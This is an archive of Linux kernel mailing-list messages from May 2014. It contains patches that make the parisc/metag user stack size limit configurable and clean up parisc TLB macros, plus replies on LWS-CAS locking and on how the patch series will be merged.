From: James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.ports.parisc
Subject: [PATCH v4 2/4] parisc,metag: Do not hardcode maximum userspace stack size
Date: Wed, 14 May 2014 13:52:46 +0100
Lines: 121
Approved: news@gmane.org
Message-ID: <1400071968-21581-3-git-send-email-james.hogan@imgtec.com>
References: <1400071968-21581-1-git-send-email-james.hogan@imgtec.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1400072004 3105 80.91.229.3 (14 May 2014 12:53:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 14 May 2014 12:53:24 +0000 (UTC)
Cc: James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>,
	"James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	<linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, <linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	John David Anglin <dave.anglin-CzeTG9NwML0@public.gmane.org>
To: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed May 14 14:53:15 2014
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1WkYgL-0006Cq-TX
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Wed, 14 May 2014 14:53:14 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1755555AbaENMxI (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Wed, 14 May 2014 08:53:08 -0400
Original-Received: from mailapp01.imgtec.com ([195.59.15.196]:34827 "EHLO
	mailapp01.imgtec.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755553AbaENMxB (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Wed, 14 May 2014 08:53:01 -0400
Original-Received: from KLMAIL01.kl.imgtec.org (unknown [192.168.5.35])
	by Websense Email Security Gateway with ESMTPS id CE7E9A78DDCB2;
	Wed, 14 May 2014 13:52:55 +0100 (IST)
Original-Received: from KLMAIL02.kl.imgtec.org (192.168.5.97) by KLMAIL01.kl.imgtec.org
 (192.168.5.35) with Microsoft SMTP Server (TLS) id 14.3.181.6; Wed, 14 May
 2014 13:52:58 +0100
Original-Received: from LEMAIL01.le.imgtec.org (192.168.152.62) by
 klmail02.kl.imgtec.org (192.168.5.97) with Microsoft SMTP Server (TLS) id
 14.3.181.6; Wed, 14 May 2014 13:52:58 +0100
Original-Received: from jhogan-linux.le.imgtec.org (192.168.154.101) by
 LEMAIL01.le.imgtec.org (192.168.152.62) with Microsoft SMTP Server (TLS) id
 14.3.174.1; Wed, 14 May 2014 13:52:57 +0100
X-Mailer: git-send-email 1.9.3
In-Reply-To: <1400071968-21581-1-git-send-email-james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>
X-Originating-IP: [192.168.154.101]
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:202 gmane.linux.ports.parisc:5794
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/202>

From: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>

This patch affects only architectures where the stack grows upwards
(currently parisc and metag only). On those do not hardcode the maximum
initial stack size to 1GB for 32-bit processes, but make it configurable
via a config option.

The main problem with the hardcoded stack size is, that we have two
memory regions which grow upwards: stack and heap. To keep most of the
memory available for heap in a flexmap memory layout, it makes no sense
to hard allocate up to 1GB of the memory for stack which can't be used
as heap then.

This patch makes the stack size for 32-bit processes configurable and
uses 80MB as default value which has been in use during the last few
years on parisc and which hasn't showed any problems yet.

Signed-off-by: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Signed-off-by: James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>
Cc: "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>
Cc: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: John David Anglin <dave.anglin-CzeTG9NwML0@public.gmane.org>
---
v4 (James Hogan):
 - split out the metag stable fix, otherwise identical.
v3 (James Hogan):
 - fix so that 64-bit parisc processes still use the 1GB limit.
   CONFIG_STACK_GROWSUP arches should provide a STACK_SIZE_MAX in their
   asm/processor.h, and for parisc it depends on USER_WIDE_MODE (whether
   the current process is 64-bit).
v2 (James Hogan):
 - updated description to mention BUG on metag.
 - added custom range limit for METAG.
 - moved Kconfig symbol to mm/Kconfig and reworded.
 - fixed "matag" typo.
---
 arch/metag/include/asm/processor.h  |  2 +-
 arch/parisc/include/asm/processor.h |  5 ++++-
 arch/parisc/kernel/sys_parisc.c     |  6 +++---
 mm/Kconfig                          | 15 +++++++++++++++
 4 files changed, 23 insertions(+), 5 deletions(-)

diff --git a/arch/metag/include/asm/processor.h b/arch/metag/include/asm/processor.h
index 3be8581af495..a8a37477c66e 100644
--- a/arch/metag/include/asm/processor.h
+++ b/arch/metag/include/asm/processor.h
@@ -23,7 +23,7 @@
 #define STACK_TOP	(TASK_SIZE - PAGE_SIZE)
 #define STACK_TOP_MAX	STACK_TOP
 /* Maximum virtual space for stack */
-#define STACK_SIZE_MAX	(1 << 28)	/* 256 MB */
+#define STACK_SIZE_MAX	(CONFIG_MAX_STACK_SIZE_MB*1024*1024)
 
 /* This decides where the kernel will search for a free chunk of vm
  * space during mmap's.
diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index 86522ef09d52..d951c9681ab3 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -55,7 +55,10 @@
 #define STACK_TOP	TASK_SIZE
 #define STACK_TOP_MAX	DEFAULT_TASK_SIZE
 
-#define STACK_SIZE_MAX	(1 << 30)	/* 1 GB */
+/* Allow bigger stacks for 64-bit processes */
+#define STACK_SIZE_MAX	(USER_WIDE_MODE					\
+			 ? (1 << 30)	/* 1 GB */			\
+			 : (CONFIG_MAX_STACK_SIZE_MB*1024*1024))
 
 #endif
 
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index 31ffa9b55322..e1ffea2f9a0b 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -72,10 +72,10 @@ static unsigned long mmap_upper_limit(void)
 {
 	unsigned long stack_base;
 
-	/* Limit stack size to 1GB - see setup_arg_pages() in fs/exec.c */
+	/* Limit stack size - see setup_arg_pages() in fs/exec.c */
 	stack_base = rlimit_max(RLIMIT_STACK);
-	if (stack_base > (1 << 30))
-		stack_base = 1 << 30;
+	if (stack_base > STACK_SIZE_MAX)
+		stack_base = STACK_SIZE_MAX;
 
 	return PAGE_ALIGN(STACK_TOP - stack_base);
 }
diff --git a/mm/Kconfig b/mm/Kconfig
index ebe5880c29d6..1b5a95f0fa01 100644
--- a/mm/Kconfig
+++ b/mm/Kconfig
@@ -581,3 +581,18 @@ config PGTABLE_MAPPING
 
 config GENERIC_EARLY_IOREMAP
 	bool
+
+config MAX_STACK_SIZE_MB
+	int "Maximum user stack size for 32-bit processes (MB)"
+	default 80
+	range 8 256 if METAG
+	range 8 2048
+	depends on STACK_GROWSUP && (!64BIT || COMPAT)
+	help
+	  This is the maximum stack size in Megabytes in the VM layout of 32-bit
+	  user processes when the stack grows upwards (currently only on parisc
+	  and metag arch). The stack will be located at the highest memory
+	  address minus the given value, unless the RLIMIT_STACK hard limit is
+	  changed to a smaller value in which case that is used.
+
+	  A sane initial value is 80 MB.
-- 
1.9.3

--
To unsubscribe from this list: send the line "unsubscribe linux-metag" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Weinberger <richard@nod.at>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH 19/27] parisc: Use common bits from generic tlb.h
Date: Wed, 14 May 2014 20:59:51 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <1400093999-18703-20-git-send-email-richard@nod.at>
References: <1400093999-18703-1-git-send-email-richard@nod.at>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1400094318 30024 80.91.229.3 (14 May 2014 19:05:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 14 May 2014 19:05:18 +0000 (UTC)
Cc: Richard Weinberger <richard@nod.at>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: linux-arch@vger.kernel.org, arnd@arndb.de,
	linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed May 14 21:05:13 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1WkeUK-0005sI-7W
	for glk-linux-kernel-3@plane.gmane.org; Wed, 14 May 2014 21:05:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752384AbaENTBq (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 14 May 2014 15:01:46 -0400
Original-Received: from mail.sigma-star.at ([95.130.255.111]:62421 "EHLO
	mail.sigma-star.at" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752346AbaENTBp (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 14 May 2014 15:01:45 -0400
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.sigma-star.at (Postfix) with ESMTP id AC1D524F8015;
	Wed, 14 May 2014 21:01:12 +0200 (CEST)
X-Virus-Scanned: amavisd-new at mail.sigma-star.at
X-Mailer: git-send-email 1.8.4.2
In-Reply-To: <1400093999-18703-1-git-send-email-richard@nod.at>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1703824 gmane.linux.kernel.cross-arch:22969 gmane.linux.ports.parisc:5795
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1703824>

It is no longer needed to define them on our own.

Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Richard Weinberger <richard@nod.at>
Cc: linux-parisc@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Signed-off-by: Richard Weinberger <richard@nod.at>
---
 arch/parisc/include/asm/tlb.h | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/arch/parisc/include/asm/tlb.h b/arch/parisc/include/asm/tlb.h
index 0792490..4e231b1 100644
--- a/arch/parisc/include/asm/tlb.h
+++ b/arch/parisc/include/asm/tlb.h
@@ -16,12 +16,6 @@ do {	if (!(tlb)->fullmm)	\
 		flush_tlb_range(vma, vma->vm_start, vma->vm_end); \
 } while (0)
 
-#define __tlb_remove_tlb_entry(tlb, pte, address) \
-	do { } while (0)
-
 #include <asm-generic/tlb.h>
 
-#define __pmd_free_tlb(tlb, pmd, addr)	pmd_free((tlb)->mm, pmd)
-#define __pte_free_tlb(tlb, pte, addr)	pte_free((tlb)->mm, pte)
-
 #endif
-- 
1.8.4.2


From - Thu Nov 08 21:10:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Improve LWS-CAS performance
Date: Wed, 14 May 2014 21:12:41 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <5373C029.8080504@gmx.de>
References: <BLU0-SMTP178D56FBECCDEE0B3D0BE6974A0@phx.gbl> <CAE2sS1i7gDUwq+bRoSNhw+kCBsA-cDAzHs4O03yHuWUxqJE-wQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1400094789 5142 80.91.229.3 (14 May 2014 19:13:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 14 May 2014 19:13:09 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Carlos O'Donell <carlos@systemhalted.org>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 14 21:13:00 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Wkebk-000305-MH
	for glpp-linux-parisc@plane.gmane.org; Wed, 14 May 2014 21:12:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753236AbaENTMv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 14 May 2014 15:12:51 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:50855 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753223AbaENTMt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 14 May 2014 15:12:49 -0400
Original-Received: from [192.168.178.60] ([84.173.43.57]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0Lb5GD-1XCss71PLt-00kggP; Wed, 14 May 2014 21:12:42
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0
In-Reply-To: <CAE2sS1i7gDUwq+bRoSNhw+kCBsA-cDAzHs4O03yHuWUxqJE-wQ@mail.gmail.com>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:xLZFp5XFUjywJJZ03CrrmxrsAdXPDG6xW/XKFCGwcKJxtDCfKce
 c6e3EDZrcKowbjkBAMJgcfGMLX4aPaVhIQtVGt1SF2zs6+qcsVMh/6dgqQrfVvRAkjlbFU9
 ZkY0vI4/NnckjRulKrwWmh3mg35Qub0BNz/IlAolwVS9C75VAnObAjmhyuSMc6ucs6BI8wO
 EnoB7UJyvJOT/1eMkvsdQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5796
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5796>

On 05/14/2014 05:31 AM, Carlos O'Donell wrote:
> On Sun, May 11, 2014 at 6:40 PM, John David Anglin <dave.anglin@bell.net> wrote:
>> 2) Removes the lock code on UP systems where it is not needed, and
> 
> This is wrong. The locking was originally only for SMP, but at one
> point it was discovered that you could COW during the CAS operation
> and if you didn't take the lock in UP, you could re-enter the CAS via
> another task and thus incorrectly carry out the CAS in two different
> threads and corrupt the state. While we attempt our best to prevent
> the task running the CAS from being scheduled off, the COW operation
> trap and subsequent scheduling is not something I could find an easy
> way to prevent. Therefore the solution was to use locks for both UP
> and SMP.

If so, could one of you please send an updated patch to the list...?
Currently I've scheduled http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/commit/?h=for-next&id=f4030047d92c79344ac4ca6ad4c6e3e22ceb5a55
for inclusion into the next kernel (hopefully 3.15).

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [PATCH v4 0/4] metag,parisc: Stack limit patches
Date: Wed, 14 May 2014 21:22:52 +0200
Lines: 61
Approved: news@gmane.org
Message-ID: <5373C28C.3040106@gmx.de>
References: <1400071968-21581-1-git-send-email-james.hogan@imgtec.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1400095386 14994 80.91.229.3 (14 May 2014 19:23:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 14 May 2014 19:23:06 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>,
	John David Anglin <dave.anglin-CzeTG9NwML0@public.gmane.org>,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed May 14 21:22:58 2014
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1WkelV-00073i-IN
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Wed, 14 May 2014 21:22:57 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1751068AbaENTW5 (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Wed, 14 May 2014 15:22:57 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:64833 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750705AbaENTW4 (ORCPT <rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Wed, 14 May 2014 15:22:56 -0400
Original-Received: from [192.168.178.60] ([84.173.43.57]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0MgKUo-1WP9uF0hB0-00NeWt; Wed, 14 May 2014 21:22:53
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0
In-Reply-To: <1400071968-21581-1-git-send-email-james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:IBi2mpIbWwZql6MYr7Wx6mIll41qxcGVo6jSFd8LBp9MEXZHQVa
 nu92OBXLKOdV58eRXayVpHX3BqMyQLtWoszBwdvDX4LEYuCP7FV8nQFVeiLUZ607K7dR986
 nHVFVWXepm7hlTB7+T07RV9pEMN+kE812duQBh619QZSNGRpOg5yPFzPa/kq/TfWDWHhIFZ
 Xy6CJPaYQY+thY7/takJw==
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:205 gmane.linux.kernel.cross-arch:22983 gmane.linux.ports.parisc:5797
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/205>

Hi James,

On 05/14/2014 02:52 PM, James Hogan wrote:
> Patch 1 is a metag bug fix for v3.15 & stable.
> 
> Patch 2 depends on patch 1, and makes the stack limit configurable.
> Helge: I don't object if you want to take this patch yourself since it
> was originally yours, so long as it goes after patch 1 (which I'll try
> and get into v3.15-rc6).

Thanks for cleaning it up!
I'd really prefer if you could push the whole series through your tree.
That way you can easily ensure the correct sequence.
IMHO, it would be nice if all four patches would still go into 3.15, esp.
since it affects our platforms (parisc & metag) only.

Helge

> 
> Patch 3 depends on patch 1, and removes the RLIMIT_STACK default value
> for metag. I'll take this through metag tree for v3.16.
> 
> Patch 4 depends on patch 3 and the corresponding parisc patch and
> removes the ability to override the default hard RLIMIT_STACK. Depending
> on when the parisc patch reaches mainline I'll try and get this in for
> v3.16.
> 
> Helge Deller (1):
>   parisc,metag: Do not hardcode maximum userspace stack size
> 
> James Hogan (3):
>   metag: Reduce maximum stack size to 256MB
>   metag: Remove _STK_LIM_MAX override
>   asm-generic: remove _STK_LIM_MAX
> 
>  arch/metag/include/asm/processor.h     |  2 ++
>  arch/metag/include/uapi/asm/Kbuild     |  2 +-
>  arch/metag/include/uapi/asm/resource.h |  7 -------
>  arch/parisc/include/asm/processor.h    |  5 +++++
>  arch/parisc/kernel/sys_parisc.c        |  6 +++---
>  fs/exec.c                              |  6 +++---
>  include/asm-generic/resource.h         |  2 +-
>  include/uapi/asm-generic/resource.h    |  7 -------
>  mm/Kconfig                             | 15 +++++++++++++++
>  9 files changed, 30 insertions(+), 22 deletions(-)
>  delete mode 100644 arch/metag/include/uapi/asm/resource.h
> 
> Cc: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
> Cc: "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>
> Cc: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
> Cc: John David Anglin <dave.anglin-CzeTG9NwML0@public.gmane.org>
> Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> Cc: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-metag" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Improve LWS-CAS performance
Date: Wed, 14 May 2014 15:28:15 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <BLU0-SMTP32E97E3E181EDF390F173897370@phx.gbl>
References: <BLU0-SMTP178D56FBECCDEE0B3D0BE6974A0@phx.gbl> <CAE2sS1i7gDUwq+bRoSNhw+kCBsA-cDAzHs4O03yHuWUxqJE-wQ@mail.gmail.com> <5373C029.8080504@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1400095712 20748 80.91.229.3 (14 May 2014 19:28:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 14 May 2014 19:28:32 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Helge Deller <deller@gmx.de>,
	Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 14 21:28:25 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Wkeqm-0004xA-Br
	for glpp-linux-parisc@plane.gmane.org; Wed, 14 May 2014 21:28:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751126AbaENT2V (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 14 May 2014 15:28:21 -0400
Original-Received: from blu0-omc4-s11.blu0.hotmail.com ([65.55.111.150]:39504 "EHLO
	blu0-omc4-s11.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752442AbaENT1q (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 14 May 2014 15:27:46 -0400
Original-Received: from BLU0-SMTP32 ([65.55.111.135]) by blu0-omc4-s11.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 14 May 2014 12:27:45 -0700
X-TMN: [puCLJLbk3/UTYTxCUdqGnoPShHiFWf2m]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.181] ([74.12.153.127]) by BLU0-SMTP32.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 14 May 2014 12:27:44 -0700
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.5.0
In-Reply-To: <5373C029.8080504@gmx.de>
X-OriginalArrivalTime: 14 May 2014 19:27:44.0538 (UTC) FILETIME=[949B8FA0:01CF6FAA]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5798
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5798>

On 5/14/2014 3:12 PM, Helge Deller wrote:
> On 05/14/2014 05:31 AM, Carlos O'Donell wrote:
>> On Sun, May 11, 2014 at 6:40 PM, John David Anglin <dave.anglin@bell.net> wrote:
>>> 2) Removes the lock code on UP systems where it is not needed, and
>> This is wrong. The locking was originally only for SMP, but at one
>> point it was discovered that you could COW during the CAS operation
>> and if you didn't take the lock in UP, you could re-enter the CAS via
>> another task and thus incorrectly carry out the CAS in two different
>> threads and corrupt the state. While we attempt our best to prevent
>> the task running the CAS from being scheduled off, the COW operation
>> trap and subsequent scheduling is not something I could find an easy
>> way to prevent. Therefore the solution was to use locks for both UP
>> and SMP.
> If so, could one of you please send an updated patch to the list...?
> Currently I've scheduled http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/commit/?h=for-next&id=f4030047d92c79344ac4ca6ad4c6e3e22ceb5a55
> for inclusion into the next kernel (hopefully 3.15).
I agree that a COW could occur but I haven't seen evidence that threads are
getting rescheduled.  We did fix some code in the fault handling a few 
months
ago.  Anyway, I have no strong objection to removing ifdefs and 
resending after
testing.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [PATCH v4 0/4] metag,parisc: Stack limit patches
Date: Thu, 15 May 2014 00:25:06 +0100
Lines: 110
Approved: news@gmane.org
Message-ID: <5373FB52.5030404@imgtec.com>
References: <1400071968-21581-1-git-send-email-james.hogan@imgtec.com> <5373C28C.3040106@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature";
	boundary="FmsEtE3KekkjGM54OudD0OkHRBhhpevf7"
X-Trace: ger.gmane.org 1400109933 24639 80.91.229.3 (14 May 2014 23:25:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 14 May 2014 23:25:33 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>,
	John David Anglin <dave.anglin-CzeTG9NwML0@public.gmane.org>,
